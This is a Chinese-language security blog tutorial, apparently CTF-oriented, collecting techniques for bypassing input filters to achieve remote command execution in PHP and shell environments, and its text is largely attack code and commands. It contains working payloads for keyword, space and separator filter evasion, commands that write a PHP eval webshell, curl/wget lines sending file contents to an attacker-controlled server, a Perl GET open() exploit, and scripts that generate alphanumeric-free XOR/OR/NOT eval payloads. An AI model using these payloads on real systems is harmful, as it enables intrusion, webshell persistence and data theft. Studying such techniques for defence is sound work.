干货 | 命令执行(RCE)面对各种过滤,骚姿势绕过总结

简介: 干货 | 命令执行(RCE)面对各种过滤,骚姿势绕过总结

1、什么是RCE

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

 

2RCE产生原因

服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。

 

3、命令执行函数


    PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等


    4、面对过滤绕过方法


    1、过滤关键字,如过滤 cat,flag等关键字


    替代法

      more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容sh /flag 2>%261 //报错出文件内容

      使用转义符号



      ca\t /fl\agcat fl''ag

      拼接法


      a=fl;b=ag;cat$IFS$a$b

      640.png

      使用空变量$*和$@,$x,${x}绕过

      640.png

      反引号绕过

      640.png

      编码绕过

      1、Base64

      640.png

      2、8进制

      3、16进制


      正则表达式绕过

      640.png

      利用未初始化变量$u让绕过

      640.png

      2、过滤命令执行函数,如过滤system()


      编码绕过

      640.png

      内敛执行绕过


        echo `ls`;echo $(ls);?><?=`ls`;?><?=$(ls);

        640.png



        3、过滤一些读取文件的命令(如cat)


        绕过方法

          [root@kali flag123]# curl file:///flag123/flag  flag{suifeng}  [root@kali flag123]# strings flag   flag{suifeng}  [root@kali flag123]# uniq -c flag        1 flag{suifeng}  [root@kali flag123]# bash -v flag  flag{suifeng}  flag: line 1: flag{suifeng}: command not found  [root@kali flag123]# rev flag  }gnefius{galf  [root@kali flag123]#

          find -- 列出当前目录下的文件以及子目录所有文件

          640.png

          4、过滤空格


          %09(url传递)(cat%09flag.php)${IFS}$IFS$9<>(cat<>/flag)<(cat</flag){cat,flag}

          5、过滤目录分割符

            采用多管道命令绕过127.0.0.1||cd flag_is_here;cat flag_262431433226364.php

            640.png

            6、过滤分割符 | & ;


            ;  //分号  |  //只执行后面那条命令  ||  //只执行前面那条命令  &  //两条命令都会执行  &&  //两条命令都会执行  %0a      //换行符  %0d     //回车符号    用?>代替;  在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。


            7、过滤括号


            使用不需要括号的函数进行绕过echo `cat flag`

            640.png

            8、输入字符串长度限制

            640.png


            #  \指的是换行  #  ls -t是将文本按时间排序输出  #  ls -t >shell  将输出输入到shell文件中  #  sh将文本中的文字读取出来执行

            9、利用$PATH环境变量绕过

            利用环境变量来截取字母达到绕过过滤

            640.png

            假如数字被过滤,我们还可以利用环境变量的长度来进一步绕过过滤

              for i in `env`; do echo -n "${i%=*} lenth is";echo ${i#*=}|awk '{print length($0)}'; done |grep 5

              640.png

              640.png

              10、无回显

              一、Shell_exec等无回显函数

              方法一、

              1、判断是否执行成功我们可以用sleep()

              eg:ls;sleep(5);

              2、用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)


              copy flag 1.txt  mv flag 1.txt  cat flag > 1.txt  tar zcvf flag.tar.gz flag  echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php  echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php

              利用上述操作产生新的文件,然后我们在对新的文件进行访问

              640.png

              640.png

              640.png

              640.png

              方法二、

              vps建立记录脚本

              1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码

                <?php    $data =$_GET['data'];    $f = fopen("flag.txt", "w");    fwrite($f,$data);    fclose($f);    ?>

                2、第二步我们开始构造请求


                curl http://*.*.*.**/record.php?data=`cat flag`  wget http://*.*.*.*/record.php?data=`cat flag`


                测试

                这里是上帝视角(为了师傅们更直观理解)


                首先看目标网站上的文件

                640.png

                接下来看自己服务器上的文件

                640.png

                我们在目标站点执行如下命令

                640.png

                这样我们在自己的服务器上就会产生一个flag.txt文件,然后进行查看

                640.png

                有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。



                curlhttp://*.*.*.**/record.php?data=`catflag|base64`wgethttp://*.*.*.*/record.php?data=`catflag|base64`

                更多参考https://blog.csdn.net/qq_43625917/article/details/107873787


                二、>/dev/null 2>&1类无回显

                代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。

                640.png

                该种无回显我们用分隔符进行分割即可绕过

                640.png


                ;  //分号  |  //只执行后面那条命令  ||  //只执行前面那条命令  &  //两条命令都会执行  &&  //两条命令都会执行

                11、Perl中open命令执行(GET)


                源码  


                192.168.122.180 <?php    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];    }
                    echo $_SERVER["REMOTE_ADDR"];
                    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);    @mkdir($sandbox);    @chdir($sandbox);
                    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));    $info = pathinfo($_GET["filename"]);    $dir  = str_replace(".", "", basename($info["dirname"]));    @mkdir($dir);    @chdir($dir);    @file_put_contents(basename($info["basename"]), $data);    highlight_file(__FILE__);


                代码审计

                首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来,然后通过explode函数分割,在把ip地址截取出来,在用echo函数输出出来,这就是我们第一行看到的IP地址

                640.png

                $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);


                sandbox变量为sandbox/后面拼接一个(orange拼接输出的ip)的MD5值在通过

                @mkdir($sandbox);

                @chdir($sandbox);

                创建sandbox这个目录


                  $data = shell_exec("GET " . escapeshellarg($_GET["url"]));


                  这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理


                  首先我们到kali里面去测试一下这个GET有什么作用

                  640.png

                  这里GET一个根目录,功能类似于ls把它给列出来


                  可以读取文件

                  640.png

                  $data = shell_exec("GET " . escapeshellarg($_GET["url"]));

                  那么这句代码的意思就是,把shell_execGET过来的结果保存到escapeshellarg中用get(此处getget请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。

                   

                  然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了。


                  构造参数

                  首先我们GET根目录且让其放进test目录里

                  640.png

                  然后我们对其访问,路径是sandbox+拼接的MD5+test

                  640.png

                  640.png

                  根目录下有flagreadflag文件,但是打不开,我们要利用readflag去读取flag,接下来就到我们标题所说的

                  Perlopen命令执行(GET)内容了。


                  因为GET的底层是使用open函数的,如下


                  file.pm84: opendir(D, $path) or132:    open(F, $path) or returnnew

                  而这个open函数会导致我们的RCE,最终造成GETRCE

                  640.png

                  因为GET使用file协议时候会调用perl中的open函数

                  640.png

                  所以我们这题就需要利用file来进行绕过了。

                   

                  这里够造了好久也没构造出来,看了下wp,执行命令需要满住如下条件

                   

                  要执行的命令先前必须要有以命令为文件名的文件存在(这里不是很理解,大佬可以告知一下)

                   

                  既然要满住这个条件,那我们构造的payload如下


                  1、?url=&filename=|/readflag2、?url=file:|/readflag&filename=test

                  最终访问拿到flag

                  640.png

                  12、无字母数字RCE

                  代码示例

                    <?php  error_reporting(0);  highlight_file(__FILE__);  $code=$_GET['code'];  if(preg_match('/[a-z0-9]/i',$code)){      die('hacker');  }  eval($code);

                    代码分析

                    这里先代码很好理解接收一个code参数,进行一个正则匹配,匹配所哟的字母和数字,匹配到了结果返回一个hacker字符串,且结束代码。

                    这里很明显要绕过这个正则然后运行eval函数达到我们的命令执行


                    绕过(这里我们利用异或、或、取反等操作进行绕过)

                    1、异或---首先利用如下脚本生成包含所有可见字符的异或构造结果。

                      <?php    $myfile = fopen("res.txt", "w");    $contents="";    for ($i=0; $i < 256; $i++) {       for ($j=0; $j <256 ; $j++) {             if($i<16){          $hex_i='0'.dechex($i);        }        else{          $hex_i=dechex($i);        }        if($j<16){          $hex_j='0'.dechex($j);        }        else{          $hex_j=dechex($j);        }        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){              echo "";        }              else{        $a='%'.$hex_i;        $b='%'.$hex_j;        $c=(urldecode($a)^urldecode($b));        if (ord($c)>=32&ord($c)<=126) {          $contents=$contents.$c." ".$a." ".$b."\n";        }      }        }    }    fwrite($myfile,$contents);    fclose($myfile);

                      运行python脚本生成我们的payload


                        import requests    import urllib    from sys import *    import os    def action(arg):       s1=""       s2=""       for i in arg:           f=open("res.txt","r")           while True:               t=f.readline()               if t=="":                   break               if t[0]==i:                   #print(i)                   s1+=t[2:5]                   s2+=t[6:9]                   break           f.close()       output="(\""+s1+"\"^\""+s2+"\")"       return(output)           while True:       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"       print(param)

                        运行结果


                        ("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%04%09%09"^"%60%60%7b");

                        640.png

                        640.png

                        这里注意一下php的版本,尽量选择php的高版本,低版本可能会导致执行不成功


                        2、或---原理一样就是脚本稍微改变一下

                          <?php    $myfile = fopen("res.txt", "w");    $contents="";    for ($i=0; $i < 256; $i++) {       for ($j=0; $j <256 ; $j++) {             if($i<16){          $hex_i='0'.dechex($i);        }        else{          $hex_i=dechex($i);        }        if($j<16){          $hex_j='0'.dechex($j);        }        else{          $hex_j=dechex($j);        }        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){              echo "";        }              else{        $a='%'.$hex_i;        $b='%'.$hex_j;        $c=(urldecode($a)|urldecode($b));        if (ord($c)>=32&ord($c)<=126) {          $contents=$contents.$c." ".$a." ".$b."\n";        }      }        }    }    fwrite($myfile,$contents);    fclose($myfile);

                          python脚本

                            import requests    import urllib    from sys import *    import os    def action(arg):       s1=""       s2=""       for i in arg:           f=open("or_rce.txt","r")           while True:               t=f.readline()               if t=="":                   break               if t[0]==i:                   #print(i)                   s1+=t[2:5]                   s2+=t[6:9]                   break           f.close()       output="(\""+s1+"\"|\""+s2+"\")"       return(output)           while True:       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"       print(param)

                            3、取反---取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可

                              <?php  //在命令行中运行    fwrite(STDOUT,'[+]your function: ');    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));     fwrite(STDOUT,'[+]your command: ');    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));     echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';    ?>

                              640.png

                              640.png


                              目录
                              相关文章
                              |
                              安全 NoSQL API
                              【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
                              YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
                              1558 1
                              渗透攻击实例-命令执行
                              渗透攻击实例-命令执行
                              |
                              安全 网络安全 PHP
                              网络安全-RCE(远程命令执行)漏洞原理、攻击与防御
                              网络安全-RCE(远程命令执行)漏洞原理、攻击与防御
                              1158 0
                              网络安全-RCE(远程命令执行)漏洞原理、攻击与防御
                              |
                              2月前
                              |
                              安全 Java PHP
                              Web安全-命令执行漏洞
                              Web安全-命令执行漏洞
                              32 2
                              |
                              2月前
                              |
                              存储 安全 PHP
                              【文件上传绕过】——条件竞争漏洞
                              【文件上传绕过】——条件竞争漏洞
                              95 5
                              |
                              4月前
                              |
                              安全 Unix Shell
                              web安全之命令执行
                              应用未对用户输入做严格得检查过滤,导致用户输入得参数被当成命令来执行。
                              56 4
                              |
                              5月前
                              |
                              Shell PHP Windows
                              来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇
                              感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,如何利用windowsit特性进行绕过
                              |
                              监控 安全 JavaScript
                              某远控RCE绕过某数字的利用方式
                              某远控RCE绕过某数字的利用方式
                              280 2
                              |
                              开发框架 安全 .NET
                              记一次绕过安全狗命令执行上线
                              记一次绕过安全狗命令执行上线
                              192 1
                              |
                              安全 Shell PHP
                              渗透攻击实例-文件上传导致任意代码执行
                              渗透攻击实例-文件上传导致任意代码执行